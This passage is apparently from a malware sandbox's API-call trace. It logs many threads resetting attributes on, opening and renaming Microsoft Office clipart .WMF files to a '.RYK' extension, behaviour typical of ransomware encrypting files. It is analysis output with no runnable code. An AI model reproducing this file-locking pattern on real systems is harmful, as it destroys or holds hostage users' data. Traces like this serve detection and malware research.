	[0212.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF", dwFileAttributes=0x80) returned 0
	[0213.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2106
	os_tid = 0x26c4

	[0212.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF", dwFileAttributes=0x80) returned 0
	[0213.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2107
	os_tid = 0x26c8

	[0212.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF", dwFileAttributes=0x80) returned 0
	[0213.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.681] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2108
	os_tid = 0x26cc

	[0212.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF", dwFileAttributes=0x80) returned 0
	[0213.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2135
	os_tid = 0x2734

	[0212.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF", dwFileAttributes=0x80) returned 0
	[0213.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.659] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2136
	os_tid = 0x2738

	[0212.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF", dwFileAttributes=0x80) returned 0
	[0213.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2137
	os_tid = 0x273c

	[0212.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF", dwFileAttributes=0x80) returned 0
	[0213.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2138
	os_tid = 0x2740

	[0212.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF", dwFileAttributes=0x80) returned 0
	[0213.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2139
	os_tid = 0x2744

	[0212.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF", dwFileAttributes=0x80) returned 0
	[0213.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2140
	os_tid = 0x2748

	[0212.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF", dwFileAttributes=0x80) returned 0
	[0213.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.202] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2141
	os_tid = 0x274c

	[0212.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF", dwFileAttributes=0x80) returned 0
	[0213.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2142
	os_tid = 0x2750

	[0212.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF", dwFileAttributes=0x80) returned 0
	[0213.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2143
	os_tid = 0x2754

	[0212.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF", dwFileAttributes=0x80) returned 0
	[0213.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2144
	os_tid = 0x2758

	[0213.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF", dwFileAttributes=0x80) returned 0
	[0215.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2173
	os_tid = 0x27d0

	[0213.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF", dwFileAttributes=0x80) returned 0
	[0215.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2174
	os_tid = 0x27d4

	[0213.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF", dwFileAttributes=0x80) returned 0
	[0215.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.684] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2175
	os_tid = 0x27d8

	[0213.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF", dwFileAttributes=0x80) returned 0
	[0215.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2176
	os_tid = 0x27dc

	[0213.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF", dwFileAttributes=0x80) returned 0
	[0215.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.682] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2177
	os_tid = 0x27e0

	[0213.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF", dwFileAttributes=0x80) returned 0
	[0215.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2178
	os_tid = 0x27e4

	[0213.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF", dwFileAttributes=0x80) returned 0
	[0215.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2179
	os_tid = 0x27e8

	[0213.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF", dwFileAttributes=0x80) returned 0
	[0215.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2180
	os_tid = 0x27ec

	[0213.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF", dwFileAttributes=0x80) returned 0
	[0215.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2181
	os_tid = 0x27f0

	[0213.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF", dwFileAttributes=0x80) returned 0
	[0215.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2203
	os_tid = 0x2034

	[0213.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF", dwFileAttributes=0x80) returned 0
	[0215.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.674] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2204
	os_tid = 0x23d8

	[0213.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF", dwFileAttributes=0x80) returned 0
	[0215.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2205
	os_tid = 0x2030

	[0213.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF", dwFileAttributes=0x80) returned 0
	[0215.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.672] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2206
	os_tid = 0x235c

